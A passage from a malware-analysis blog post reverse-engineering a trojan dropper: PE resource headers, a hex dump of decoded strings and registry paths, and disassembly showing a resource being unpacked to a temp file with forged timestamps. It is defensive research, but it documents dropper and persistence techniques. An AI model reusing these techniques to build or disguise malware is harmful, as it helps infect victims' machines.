[IMAGE_RESOURCE_DATA_ENTRY]\n            OffsetToData:                  0x50B0    \n            Size:                          0x400     \n            CodePage:                      0x0       \n            Reserved:                      0x0       \n\n  Id: [0x2] (RT_BITMAP)\n  [IMAGE_RESOURCE_DIRECTORY_ENTRY]\n  Name:                          0x2       \n  OffsetToData:                  0x80000038\n    [IMAGE_RESOURCE_DIRECTORY]\n    Characteristics:               0x0       \n    TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]\n    MajorVersion:                  0x0       \n    MinorVersion:                  0x0       \n    NumberOfNamedEntries:          0x0       \n    NumberOfIdEntries:             0x1       \n      Id: [0x1]\n      [IMAGE_RESOURCE_DIRECTORY_ENTRY]\n      Name:                          0x1       \n      OffsetToData:                  0x80000068\n        [IMAGE_RESOURCE_DIRECTORY]\n        Characteristics:               0x0       \n        TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]\n        MajorVersion:                  0x0       \n        MinorVersion:                  0x0       \n        NumberOfNamedEntries:          0x0       \n        NumberOfIdEntries:             0x1       \n          [IMAGE_RESOURCE_DIRECTORY_ENTRY]\n          Name:                          0x409     \n          OffsetToData:                  0x90      \n            [IMAGE_RESOURCE_DATA_ENTRY]\n            OffsetToData:                  0x54B0    \n            Size:                          0xA6FC    \n            CodePage:                      0x0       \n            Reserved:                      0x0       <\/pre>\n<p>The take-away from the reports are<\/p>\n<ul>\n<li>There may or may not be anti VM techniques inside the binary <\/li>\n<li>The import table and strings looks pretty harmless <\/li>\n<li>the PE may be packed with Microsoft Visual C++ v6.0 <\/li>\n<li>Anti debugger trick using GetProcAddress() ? <\/li>\n<li>The malware seems to be recognized by a few AV products (time of writing : january 2011).&#160; McAfee <a href=\"http:\/\/www.mcafee.com\/threat-intelligence\/malware\/default.aspx?id=314075\">identifiies<\/a> it as a non self-replicating trojan named Vilsel.&#160; As you will discover in this post, the one McAfee discovered is not the one we have caughtand are analyzing. This one might be a mutated form or just something that carries some of the Vilsel signatures. <\/li>\n<\/ul>\n<p>So let's just load it in a debugger &amp; see what we can find.<\/p>\n<p>When the executable launches, it does what we could expect from a typically normal C(++) console application : the default SEH handler is put in place, and application arguments (if any) are read from command line. Next, at 0x0040234B, it jumps to main()<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image50.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb50.png\" width=\"626\" height=\"375\" \/><\/a><\/p>\n<p>In the main() function some memory gets allocated using a malloc(0x1000) call, and then a function is called which performs GetModuleHandleA() (basically retrieving its own baseaddress and storing the pointer in EAX). Next, more memory is allocated (malloc(0x6414)).&#160; Then, memory at [EDI] is filled with &quot;0x20 0x20 0x20 0x20&quot; (3F1 dwords) . <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image22.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb22.png\" width=\"631\" height=\"318\" \/><\/a><\/p>\n<p>It then uses an iteration to overwrite these &quot;space&quot; bytes with new bytes\u2026 new payload? Or just an unpack routine ? Let's see\u2026<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image29.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb29.png\" width=\"631\" height=\"162\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image30.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb30.png\" width=\"633\" height=\"335\" \/><\/a><\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00339D28  C6 01 D7 01 E3 01 ED 01  \u00c6\u00d7\u00e3\u00ed\n00339D30  FE 01 0A 02 19 02 25 02  \u00fe.%\n00339D38  3F 02 4B 02 5E 02 73 02  ?K^s\n00339D40  86 02 97 02 A4 02 B2 02  \u2020\u2014\u00a4\u00b2\n00339D48  BE 02 CF 02 DA 02 E7 02  \u00be\u00cf\u00da\u00e7\n00339D50  F3 02 04 03 0A 03 1B 03  \u00f3.\n00339D58  2B 03 38 03 47 03 53 03  +8GS\n00339D60  5D 03 70 03 7D 03 89 03  ]p}\u2030\n00339D68  97 03 A4 03 B1 03 BE 03  \u2014\u00a4\u00b1\u00be\n00339D70  CD 03 DD 03 E9 03 F5 03  \u00cd\u00dd\u00e9\u00f5\n00339D78  70 6E 65 6E 33 32 36 30  pnen3260\n00339D80  2E 64 6C 6C 00 63 61 6C  .dll.cal\n00339D88  63 00 6F 73 6B 00 61 64  c.osk.ad\n00339D90  76 61 70 69 33 32 00 5F  vapi32._\n00339D98  21 52 4B 55 23 50 4E 50  !RKU#PNP\n00339DA0  23 30 39 30 39 32 31 21  #090921!\n00339DA8  5F 00 52 45 53 42 49 4E  _.RESBIN\n00339DB0  00 43 4C 53 49 44 5C 00  .CLSID\\.\n00339DB8  33 32 2E 00 53 4F 46 54  32..SOFT\n00339DC0  57 41 52 45 5C 4D 69 63  WARE\\Mic\n00339DC8  72 6F 73 6F 66 74 5C 57  rosoft\\W\n00339DD0  69 6E 64 6F 77 73 5C 43  indows\\C\n00339DD8  75 72 72 65 6E 74 56 65  urrentVe\n00339DE0  72 73 69 6F 6E 5C 53 68  rsion\\Sh\n00339DE8  65 6C 6C 53 65 72 76 69  ellServi\n00339DF0  63 65 4F 62 6A 65 63 74  ceObject\n00339DF8  44 65 6C 61 79 4C 6F 61  DelayLoa\n00339E00  64 00 41 70 61 72 74 6D  d.Apartm\n00339E08  65 6E 74 00 7B 41 44 32  ent.{AD2\n00339E10  36 41 43 35 46 2D 38 34  6AC5F-84\n00339E18  32 31 2D 34 31 39 43 2D  21-419C-\n00339E20  38 36 39 32 2D 45 44 31  8692-ED1\n00339E28  46 45 37 34 44 30 46 45  FE74D0FE\n00339E30  38 7D 00 54 68 72 65 61  8}.Threa\n00339E38  64 69 6E 67 4D 6F 64 65  dingMode\n00339E40  6C 00 52 65 61 6C 43 6F  l.RealCo\n00339E48  64 65 63 00 53 68 65 6C  dec.Shel\n00339E50  6C 5F 54 72 61 79 57 6E  l_TrayWn\n00339E58  64 00 6E 74 64 6C 6C 00  d.ntdll.\n00339E60  52 74 6C 41 64 6A 75 73  RtlAdjus\n00339E68  74 50 72 69 76 69 6C 65  tPrivile\n00339E70  67 65 00 75 73 65 72 33  ge.user3\n00339E78  32 00 47 65 74 54 61 73  2.GetTas\n00339E80  6B 6D 61 6E 57 69 6E 64  kmanWind\n00339E88  6F 77 00 72 6D 6F 63 33  ow.rmoc3\n00339E90  32 36 30 2E 74 6C 62 00  260.tlb.\n00339E98  61 74 72 63 33 32 2E 64  atrc32.d\n00339EA0  6C 6C 00 25 50 72 6F 67  ll.%Prog\n00339EA8  72 61 6D 46 69 6C 65 73  ramFiles\n00339EB0  25 5C 52 65 61 6C 5C 00  %\\Real\\.\n00339EB8  25 53 79 73 74 65 6D 52  %SystemR\n00339EC0  6F 6F 74 25 5C 73 79 73  oot%\\sys\n00339EC8  74 65 6D 33 32 5C 00 73  tem32\\.s\n00339ED0  66 63 2E 64 6C 6C 00 53  fc.dll.S\n00339ED8  66 63 49 73 46 69 6C 65  fcIsFile\n00339EE0  50 72 6F 74 65 63 74 65  Protecte\n00339EE8  64 00 50 6C 75 67 69 6E  d.Plugin\n00339EF0  32 61 2E 53 65 63 74 69  2a.Secti\n00339EF8  6F 6E 00 46 69 6E 64 57  on.FindW\n00339F00  69 6E 64 6F 77 41 00 61  indowA.a\n00339F08  63 74 78 70 72 78 79 2E  ctxprxy.\n00339F10  64 6C 6C 00 6B 65 72 6E  dll.kern\n00339F18  65 6C 33 32 2E 64 6C 6C  el32.dll\n00339F20  00 5C 49 6E 70 72 6F 63  .\\Inproc\n00339F28  53 65 72 76 65 72 33 32  Server32\n00339F30  00 47 65 74 54 65 6D 70  .GetTemp\n00339F38  50 61 74 68 41 00 47 65  PathA.Ge\n00339F40  74 54 65 6D 70 46 69 6C  tTempFil\n00339F48  65 4E 61 6D 65 41 00 43  eNameA.C\n00339F50  6C 6F 73 65 48 61 6E 64  loseHand\n00339F58  6C 65 00 43 6F 70 79 46  le.CopyF\n00339F60  69 6C 65 41 00 43 72 65  ileA.Cre\n00339F68  61 74 65 44 69 72 65 63  ateDirec\n00339F70  74 6F 72 79 41 00 43 72  toryA.Cr\n00339F78  65 61 74 65 46 69 6C 65  eateFile\n00339F80  41 00 43 72 65 61 74 65  A.Create\n00339F88  50 72 6F 63 65 73 73 41  ProcessA\n00339F90  00 44 65 6C 65 74 65 46  .DeleteF\n00339F98  69 6C 65 41 00 45 78 70  ileA.Exp\n00339FA0  61 6E 64 45 6E 76 69 72  andEnvir\n00339FA8  6F 6E 6D 65 6E 74 53 74  onmentSt\n00339FB0  72 69 6E 67 73 41 00 46  ringsA.F\n00339FB8  72 65 65 4C 69 62 72 61  reeLibra\n00339FC0  72 79 00 47 65 74 46 69  ry.GetFi\n00339FC8  6C 65 41 74 74 72 69 62  leAttrib\n00339FD0  75 74 65 73 41 00 47 65  utesA.Ge\n00339FD8  74 46 69 6C 65 41 74 74  tFileAtt\n00339FE0  72 69 62 75 74 65 73 45  ributesE\n00339FE8  78 41 00 47 65 74 4D 6F  xA.GetMo\n00339FF0  64 75 6C 65 46 69 6C 65  duleFile\n00339FF8  4E 61 6D 65 41 00 47 65  NameA.Ge\n0033A000  74 54 68 72 65 61 64 43  tThreadC\n0033A008  6F 6E 74 65 78 74 00 49  ontext.I\n0033A010  73 42 61 64 52 65 61 64  sBadRead\n0033A018  50 74 72 00 4D 61 70 56  Ptr.MapV\n0033A020  69 65 77 4F 66 46 69 6C  iewOfFil\n0033A028  65 00 4D 6F 76 65 46 69  e.MoveFi\n0033A030  6C 65 45 78 41 00 4F 70  leExA.Op\n0033A038  65 6E 46 69 6C 65 4D 61  enFileMa\n0033A040  70 70 69 6E 67 41 00 4F  ppingA.O\n0033A048  70 65 6E 4D 75 74 65 78  penMutex\n0033A050  41 00 52 65 73 75 6D 65  A.Resume\n0033A058  54 68 72 65 61 64 00 53  Thread.S\n0033A060  65 74 46 69 6C 65 54 69  etFileTi\n0033A068  6D 65 00 53 65 74 54 68  me.SetTh\n0033A070  72 65 61 64 43 6F 6E 74  readCont\n0033A078  65 78 74 00 53 6C 65 65  ext.Slee\n0033A080  70 00 54 65 72 6D 69 6E  p.Termin\n0033A088  61 74 65 50 72 6F 63 65  ateProce\n0033A090  73 73 00 55 6E 6D 61 70  ss.Unmap\n0033A098  56 69 65 77 4F 66 46 69  ViewOfFi\n0033A0A0  6C 65 00 56 69 72 74 75  le.Virtu\n0033A0A8  61 6C 41 6C 6C 6F 63 00  alAlloc.\n0033A0B0  56 69 72 74 75 61 6C 41  VirtualA\n0033A0B8  6C 6C 6F 63 45 78 00 56  llocEx.V\n0033A0C0  69 72 74 75 61 6C 46 72  irtualFr\n0033A0C8  65 65 00 57 72 69 74 65  ee.Write\n0033A0D0  46 69 6C 65 00 57 72 69  File.Wri\n0033A0D8  74 65 50 72 6F 63 65 73  teProces\n0033A0E0  73 4D 65 6D 6F 72 79 00  sMemory.\n0033A0E8  4C 6F 61 64 4C 69 62 72  LoadLibr\n0033A0F0  61 72 79 41 00 45 78 69  aryA.Exi\n0033A0F8  74 50 72 6F 63 65 73 73  tProcess\n0033A100  00 46 69 6E 64 52 65 73  .FindRes\n0033A108  6F 75 72 63 65 41 00 46  ourceA.F\n0033A110  72 65 65 52 65 73 6F 75  reeResou\n0033A118  72 63 65 00 4C 6F 61 64  rce.Load\n0033A120  52 65 73 6F 75 72 63 65  Resource\n0033A128  00 4C 6F 63 6B 52 65 73  .LockRes\n0033A130  6F 75 72 63 65 00 53 69  ource.Si\n0033A138  7A 65 6F 66 52 65 73 6F  zeofReso\n0033A140  75 72 63 65 00 52 65 67  urce.Reg\n0033A148  43 72 65 61 74 65 4B 65  CreateKe\n0033A150  79 45 78 41 00 52 65 67  yExA.Reg\n0033A158  43 6C 6F 73 65 4B 65 79  CloseKey\n0033A160  00 52 65 67 4F 70 65 6E  .RegOpen\n0033A168  4B 65 79 41 00 52 65 67  KeyA.Reg\n0033A170  53 65 74 56 61 6C 75 65  SetValue\n0033A178  45 78 41 00 00           ExA..<\/pre>\n<p>Awwww - no payload, but not &quot;harmless&quot; either\u2026&#160; Those look like strings, filenames, function names, reg keys, paths, etc to me\u2026<\/p>\n<p>At this point, the l.exe does not seem to be packed or anything (which probably would flag detection tools right away)<\/p>\n<p>Next, pointers to the following functions are retrieved and pointers are stored at 00404024 + offset: <\/p>\n<ul>\n<li>GetTempPathA <\/li>\n<li>GetTempFileNameA <\/li>\n<li>CloseHandle <\/li>\n<li>CopyFileA <\/li>\n<li>CreateDirectoryA <\/li>\n<li>CreateFileA <\/li>\n<li>CreateProcessA <\/li>\n<li>DeleteFileA <\/li>\n<li>ExpandEnvironmentStringsA <\/li>\n<li>FreeLibrary <\/li>\n<\/ul>\n<p>(and so on, basically getting pointers for all of the functions that were put in memory earlier, and storing the function pointers somewhere in memory :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image31.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb31.png\" width=\"517\" height=\"137\" \/><\/a><\/p>\n<p>Next, the binary loads advapi32.dll and rpcrt4.dll, and uses GetProcAddress to get the pointer to RegCreateKeyExA(), RegCloseKey(), RegOpenKeyA(), RegSetValueExA(), <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image32.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb32.png\" width=\"628\" height=\"113\" \/><\/a><\/p>\n<p>Then, memset() is called (9x9BB bytes), effectively clearing part of the memory location that was used to hold all function names, regkeys, paths, etc.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image33.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb33.png\" width=\"620\" height=\"178\" \/><\/a><\/p>\n<p>After memset is executed, we see that part of the memory block was cleared :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image34.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb34.png\" width=\"437\" height=\"285\" \/><\/a><\/p>\n<p>Then, kernel32.GetTempPathA() is executed, followed by kernel32.GetTempFileNameA()<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image35.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb35.png\" width=\"541\" height=\"111\" \/><\/a><\/p>\n<p>After GetTempPathA, the location of the temp folder under C:\\Documents and Settings\\&lt;user&gt;\\Local Settings is retrieved and a pointer to the string is stored in EAX, and used to set up the parameters for GetTempFileNameA()<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image36.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb36.png\" width=\"536\" height=\"67\" \/><\/a><\/p>\n<p>Next, the following routine is called :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image37.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb37.png\" width=\"538\" height=\"144\" \/><\/a><\/p>\n<p>This routine will verify that the process has read access to the specified memory range (the memory block used to hold function names, etc), and then retrieves a pointer to one of the strings from that array into EAX. (FindWindowA), and puts it onto the stack. It then runs the same routine again, retrieves a pointer to string &quot;user32&quot;. Basically, this routine will retrieve pointers to strings in the array that was built earlier. This routine will be used many times in the binary.<\/p>\n<p>Next, LoadLibrary() is used to load user32.dll <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image38.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb38.png\" width=\"532\" height=\"39\" \/><\/a><\/p>\n<p>Then the function pointer of user32.FindWindowsA is retrieved<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image39.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb39.png\" width=\"534\" height=\"47\" \/><\/a><\/p>\n<p>Next, a pointer to the temporary filename that was retrieved earlier is placed on the stack,<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image121.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image121_thumb.png\" width=\"574\" height=\"55\" \/><\/a><\/p>\n<p>and the routine at 0x00401438 is called.&#160; In that routine, we see the following actions :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00401538  \/$ 55             PUSH EBP\n00401539  |. 8BEC           MOV EBP,ESP\n0040153B  |. 81EC 34010000  SUB ESP,134\n00401541  |. 53             PUSH EBX\n00401542  |. 56             PUSH ESI\n00401543  |. 57             PUSH EDI\n00401544  |. 6A 02          PUSH 2\n00401546  |. 33F6           XOR ESI,ESI\n00401548  |. 6A 01          PUSH 1\n0040154A  |. 56             PUSH ESI\n0040154B  |. 8975 FC        MOV DWORD PTR SS:[EBP-4],ESI\n0040154E  |. FF15 AC404000  CALL DWORD PTR DS:[4040AC]                                 ;  kernel32.FindResourceA\n00401554  |. 8BF8           MOV EDI,EAX\n00401556  |. 57             PUSH EDI\n00401557  |. 56             PUSH ESI\n00401558  |. FF15 B4404000  CALL DWORD PTR DS:[4040B4]                                 ;  kernel32.LoadResource\n0040155E  |. 8BD8           MOV EBX,EAX\n00401560  |. 3BDE           CMP EBX,ESI\n00401562  |. 895D F4        MOV DWORD PTR SS:[EBP-C],EBX\n00401565  |. 0F84 05010000  JE l.00401670\n0040156B  |. 3935 20404000  CMP DWORD PTR DS:[404020],ESI\n00401571  |. 0F84 F9000000  JE l.00401670\n00401577  |. 57             PUSH EDI\n00401578  |. 56             PUSH ESI\n00401579  |. FF15 BC404000  CALL DWORD PTR DS:[4040BC]                                 ;  kernel32.SizeofResource\n0040157F  |. 53             PUSH EBX\n00401580  |. FF15 B8404000  CALL DWORD PTR DS:[4040B8]                                 ;  kernel32.SetHandleCount\n00401586  |. 6A 04          PUSH 4\n00401588  |. 68 00100000    PUSH 1000\n0040158D  |. 68 00000100    PUSH 10000                                                 ;  UNICODE &quot;ALLUSERSPROFILE=C:\\Documents and Settings\\All Users&quot;\n00401592  |. 56             PUSH ESI\n00401593  |. FF15 80404000  CALL DWORD PTR DS:[404080]                                 ;  kernel32.VirtualAlloc\n00401599  |. 8BF8           MOV EDI,EAX\n0040159B  |. 3BFE           CMP EDI,ESI\n0040159D  |. 0F84 C6000000  JE l.00401669\n004015A3  |. 57             PUSH EDI\n004015A4  |. 56             PUSH ESI\n004015A5  |. 83C3 28        ADD EBX,28\n004015A8  |. 53             PUSH EBX\n004015A9  |. E8 0DFEFFFF    CALL l.004013BB\n004015AE  |. 83C4 0C        ADD ESP,0C\n004015B1  |. 3D 30900000    CMP EAX,9030\n004015B6  |. 8945 F8        MOV DWORD PTR SS:[EBP-8],EAX\n004015B9  |. 0F86 9A000000  JBE l.00401659\n004015BF  |. 68 E0000000    PUSH 0E0                                                   ; \/n = E0 (224.)\n004015C4  |. FF35 20404000  PUSH DWORD PTR DS:[404020]                                 ; |src = l.004053D0\n004015CA  |. 8D87 30900000  LEA EAX,DWORD PTR DS:[EDI+9030]                            ; |\n004015D0  |. 50             PUSH EAX                                                   ; |dest\n004015D1  |. E8 EE0B0000    CALL <span style=\"color: #0000ff\">&lt;<\/span><span style=\"color: #800000\">JMP.<\/span>&amp;<span style=\"color: #ff0000\">MSVCRT<\/span>.<span style=\"color: #ff0000\">memcpy<\/span><span style=\"color: #0000ff\">&gt;<\/span>                                  ; \\memcpy\n004015D6  |. 83C4 0C        ADD ESP,0C\n004015D9  |. 56             PUSH ESI\n004015DA  |. 56             PUSH ESI\n004015DB  |. 6A 03          PUSH 3\n004015DD  |. 56             PUSH ESI\n004015DE  |. 56             PUSH ESI\n004015DF  |. 68 000000C0    PUSH C0000000\n004015E4  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]\n004015E7  |. FF15 38404000  CALL DWORD PTR DS:[404038]                                 ;  kernel32.CreateFileA\n004015ED  |. 8BD8           MOV EBX,EAX\n004015EF  |. 83FB FF        CMP EBX,-1\n004015F2  |. 74 65          JE SHORT l.00401659\n004015F4  |. 56             PUSH ESI\n004015F5  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]\n004015F8  |. 50             PUSH EAX\n004015F9  |. FF75 F8        PUSH DWORD PTR SS:[EBP-8]\n004015FC  |. 57             PUSH EDI\n004015FD  |. 53             PUSH EBX\n004015FE  |. FF15 8C404000  CALL DWORD PTR DS:[40408C]                                 ;  kernel32.WriteFile\n00401604  |. 6A 10          PUSH 10\n00401606  |. 8945 FC        MOV DWORD PTR SS:[EBP-4],EAX\n00401609  |. E8 C3FEFFFF    CALL l.004014D1\n0040160E  |. 59             POP ECX\n0040160F  |. 50             PUSH EAX                                                   ; \/pModule\n00401610  |. FF15 04304000  CALL DWORD PTR DS:[<span style=\"color: #0000ff\">&lt;<\/span>&amp;KERNEL32.GetModuleHandleA<span style=\"color: #0000ff\">&gt;<\/span>]           ; \\GetModuleHandleA\n00401616  |. 68 04010000    PUSH 104\n0040161B  |. 8D8D CCFEFFFF  LEA ECX,DWORD PTR SS:[EBP-134]\n00401621  |. 51             PUSH ECX\n00401622  |. 50             PUSH EAX\n00401623  |. FF15 4C404000  CALL DWORD PTR DS:[40404C]                                 ;  kernel32.GetModuleFileNameA\n00401629  |. 8D45 D0        LEA EAX,DWORD PTR SS:[EBP-30]\n0040162C  |. 50             PUSH EAX\n0040162D  |. 56             PUSH ESI\n0040162E  |. 8D85 CCFEFFFF  LEA EAX,DWORD PTR SS:[EBP-134]\n00401634  |. 50             PUSH EAX\n00401635  |. FF15 48404000  CALL DWORD PTR DS:[404048]                                 ;  kernel32.GetFileAttributesExA\n0040163B  |. 85C0           TEST EAX,EAX\n0040163D  |. 74 13          JE SHORT l.00401652\n0040163F  |. 8D45 E4        LEA EAX,DWORD PTR SS:[EBP-1C]\n00401642  |. 50             PUSH EAX\n00401643  |. 8D45 DC        LEA EAX,DWORD PTR SS:[EBP-24]\n00401646  |. 50             PUSH EAX\n00401647  |. 8D45 D4        LEA EAX,DWORD PTR SS:[EBP-2C]\n0040164A  |. 50             PUSH EAX\n0040164B  |. 53             PUSH EBX\n0040164C  |. FF15 6C404000  CALL DWORD PTR DS:[40406C]                                 ;  kernel32.SetFileTime\n00401652  |&gt; 53             PUSH EBX\n00401653  |. FF15 2C404000  CALL DWORD PTR DS:[40402C]                                 ;  kernel32.CloseHandle\n00401659  |&gt; 68 00800000    PUSH 8000\n0040165E  |. 56             PUSH ESI\n0040165F  |. 57             PUSH EDI\n00401660  |. FF15 88404000  CALL DWORD PTR DS:[404088]                                 ;  kernel32.VirtualFree\n00401666  |. 8B5D F4        MOV EBX,DWORD PTR SS:[EBP-C]\n00401669  |&gt; 53             PUSH EBX\n0040166A  |. FF15 B0404000  CALL DWORD PTR DS:[4040B0]                                 ;  kernel32.FreeResource\n00401670  |&gt; 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]\n00401673  |. 5F             POP EDI\n00401674  |. 5E             POP ESI\n00401675  |. 5B             POP EBX\n00401676  |. C9             LEAVE\n00401677  \\. C3             RETN<\/pre>\n<p>The code calls the following functions :<\/p>\n<ul>\n<li>FindResource <\/li>\n<li>LoadResource <\/li>\n<li>SizeOfResource <\/li>\n<li>SetHandleCount <\/li>\n<li>VirtualAlloc&#160; (in our analysis it allocates memory at 0x00370000) <\/li>\n<li>call to 004013BB (in that routine, memory is set to 0x20 again, and then populated with what appears to be the hex dump of an executable) <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image41.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb41.png\" width=\"347\" height=\"438\" \/><\/a><\/p>\n<ul>\n<li>memcpy&#160; (taking 0xE4 bytes from 004053D0 and writing it to 00379030, which - at that time, contains the string &quot;Fuck&quot;) <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image42.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb42.png\" width=\"541\" height=\"312\" \/><\/a><\/p>\n<p>After the memcpy, the memory area looks like this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image43.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb43.png\" width=\"273\" height=\"277\" \/><\/a><\/p>\n<ul>\n<li>CreateFileA <\/li>\n<li>WriteFile <\/li>\n<li>GetModuleHandleA (of user32.dll) <\/li>\n<li>GetModuleFileNameA <\/li>\n<li>GetFileAttributesExA (of user32.dll) <\/li>\n<li>SetFileTime <\/li>\n<li>CloseHandle <\/li>\n<li>VirtualFree <\/li>\n<li>FreeResource <\/li>\n<\/ul>\n<p>To cut a long story short, the application decodes\/writes some &quot;stuff&quot; in memory and then creates a tmp file under C:\\Documents and Settings\\&lt;user&gt;\\Local Settings\\Temp :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image44.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" 